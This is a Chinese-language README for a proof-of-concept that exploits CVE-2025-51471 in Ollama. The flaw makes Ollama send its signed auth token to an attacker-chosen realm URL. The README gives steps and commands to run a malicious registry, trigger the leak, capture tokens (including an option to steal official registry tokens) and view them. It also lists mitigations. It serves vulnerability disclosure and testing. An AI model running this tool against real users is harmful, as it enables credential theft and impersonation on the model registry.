CVE-2025-51471 - Ollama 跨域令牌泄露 PoC

作者： ajtazer

🔥 概述

此仓库包含 CVE-2025-51471 的概念验证（PoC），这是一个影响 所有 Ollama 版本（包括最新版本）的跨域认证令牌泄露漏洞。

📋 漏洞描述

当 Ollama 从返回 401 Unauthorized 的 HTTPS 服务器拉取模型时，它会跟随 WWW-Authenticate 头中的 realm URL，而 不验证其是否属于同一域[...]

这允许攻击者：

1. 搭建一个恶意的“registry”服务器
2. 诱骗用户从该服务器拉取模型
3. 返回一个包含指向攻击者控制的端点的 WWW-Authenticate 头的 401 响应
4. Ollama 盲目地将它的 Ed25519 签名认证令牌发送给攻击者
5. 攻击者捕获该令牌

影响

• 访问私有模型 在 registry.ollama.ai 上
• 以受害者身份推送恶意模型
• 在 Ollama 注册表上冒充受害者

🚀 快速开始

前提条件

• Python 3.7+
• Flask (pip install flask)
• Ollama (任意版本)

安装

git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask

运行 PoC

1. 启动恶意注册表服务器（HTTP 模式）：

python3 malicious_registry.py --no-ssl

2. 在另一个终端中，确保 Ollama 正在运行：

ollama serve

3. 触发漏洞：

# 使用 curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'

# 或者使用 ollama CLI
ollama pull --insecure localhost:8080/malicious/model

4. 观察服务器终端中捕获的令牌！

🎬 演示（PoC 视频）

我在一个短视频中演示了这个 PoC——在这里观看：

YouTube — PoC 演示

注意（macOS HTTPS 模式）： 如果使用 HTTPS 模式，请将生成的证书添加到您的钥匙串中，或者使用 --no-ssl 的 HTTP 模式。

📖 使用选项

python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]

选项：
  --port, -p PORT       监听端口（默认：8080）
  --no-ssl              使用 HTTP 而非 HTTPS
  --steal-official, -s  重定向以窃取 registry.ollama.ai 令牌
  --no-verbose          禁用详细输出

🔧 API 端点

端点	描述
/v2/*	伪造注册表端点（触发漏洞利用）
/v2/token	令牌捕获端点
/tokens	查看所有捕获的令牌（JSON）
/health	服务器健康检查

🛡️ 缓解措施

1. 仅从可信源拉取模型
2. 从第三方注册表拉取模型时保持谨慎
3. 参见 PR #10750 以获取官方修复

📝 致谢

• 作者： ajtazer
• 原始研究人员：
  • Mohammed Benhelli (@FuzzingLabs)
  • Patrick Ventuzelo (@FuzzingLabs)
  • Huntr 报告

⚠️ 免责声明

此 PoC 仅供 教育和授权的安全测试目的使用。请勿用于您不拥有的系统。

---

用 ❤️ 和 Antigravity 制作